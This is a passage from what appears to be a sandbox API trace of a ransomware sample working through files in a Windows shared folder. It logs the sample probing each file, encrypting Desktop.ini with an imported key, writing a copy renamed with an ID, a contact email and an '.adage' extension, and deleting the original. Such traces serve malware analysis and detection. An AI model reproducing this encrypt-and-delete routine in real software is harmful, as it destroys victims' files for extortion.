files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0055.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.363] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.363] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2568) returned 1 [0055.363] CloseHandle (hObject=0x180) returned 1 [0055.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0055.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.364] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.364] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2596) returned 1 [0055.364] CloseHandle (hObject=0x180) returned 1 [0055.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0055.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.365] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.365] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2520) returned 1 [0055.365] CloseHandle (hObject=0x180) returned 1 [0055.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0055.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.365] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.366] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=255) returned 1 [0055.366] CloseHandle (hObject=0x180) returned 1 [0055.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0055.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.367] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.368] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1074) returned 1 [0055.368] CloseHandle (hObject=0x180) returned 1 [0055.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0055.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.368] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.369] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2575) returned 1 [0055.369] CloseHandle (hObject=0x180) returned 1 [0055.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0055.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.369] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.369] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4587) returned 1 [0055.369] CloseHandle (hObject=0x180) returned 1 [0055.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0055.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.370] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.370] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2319) returned 1 [0055.370] CloseHandle (hObject=0x180) returned 1 [0055.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0055.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.371] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.371] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=645) returned 1 [0055.371] CloseHandle (hObject=0x180) returned 1 [0055.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0055.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.372] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0055.372] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0055.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.372] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d86e0) returned 1 [0055.372] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0055.372] ReadFile (in: hFile=0x180, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x285, lpOverlapped=0x0) returned 1 [0055.373] CryptEncrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x290, dwBufLen=0x290 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x290) returned 1 [0055.373] WriteFile (in: hFile=0x190, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x290, lpOverlapped=0x0) returned 1 [0055.374] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d8860) returned 1 [0055.374] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0055.374] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0055.374] CryptDestroyKey (hKey=0x4d8860) returned 1 [0055.374] WriteFile (in: hFile=0x190, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0055.374] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0055.374] CloseHandle (hObject=0x180) returned 1 [0055.374] CloseHandle (hObject=0x190) returned 1 [0055.376] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0055.377] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.377] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3792) returned 1 [0055.377] CloseHandle (hObject=0x190) returned 1 [0055.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0055.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.378] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.378] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=231) returned 1 [0055.378] CloseHandle (hObject=0x190) returned 1 [0055.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0055.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.378] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.379] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=23871) returned 1 [0055.379] CloseHandle (hObject=0x190) returned 1 [0055.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0055.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.379] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.380] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5524) returned 1 [0055.380] CloseHandle (hObject=0x190) returned 1 [0055.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0055.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.380] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.381] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=10340) returned 1 [0055.381] CloseHandle (hObject=0x190) returned 1 [0055.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0055.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.381] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.572] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=116724) returned 1 [0055.572] CloseHandle (hObject=0x18c) returned 1 [0055.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0055.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 